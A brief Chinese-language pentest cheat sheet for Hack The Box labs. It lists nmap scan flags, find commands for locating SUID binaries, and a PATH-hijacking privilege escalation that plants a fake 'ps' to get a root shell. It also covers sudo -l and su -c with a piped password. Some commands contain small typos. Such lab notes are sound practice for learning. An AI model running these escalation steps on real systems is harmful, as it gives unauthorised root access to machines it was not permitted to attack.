渗透

​

渗透（Hack The Box / HTB）

• 扫描

  • nmap

    nmap -sC -sV xx.xx.xx.xx -oA src/

    -sC is for using default nmap scripts,

    -sV for enumerating services versions,

    -oA is for output ALL format and specify the directory src,

    NOTICE: you may be adding -Pn if you have an error wait for some time and here is the result.

    ​

• 提权

  • SUID提权（4000权限）

    SUID可以让调用者以文件拥有者的身份运行该文件，所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件，那么我们运行该文件的时候就得获得root用户的身份了。

    发现系统上运行的所有SUID可执行文件，不同系统适用于不同的命令：

    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000-print2>/dev/null
    find / -user root -perm -4000-exec ls -ldb {} \;

    • 环境变量提权

      #/home/raj/script/shell具SUID权限
      cd /tmp
      echo “/bin/bash” > ps
      chmod 777 ps
      echo $PATH
      export PATH=/tmp:$PATH
      cd /home/raj/script
      ./shell
      whoami

  • 以其他用户运行命令

    sudo -l （查看此用户拥有的特殊权限）

    echo password | su -c userB cat xxx.txt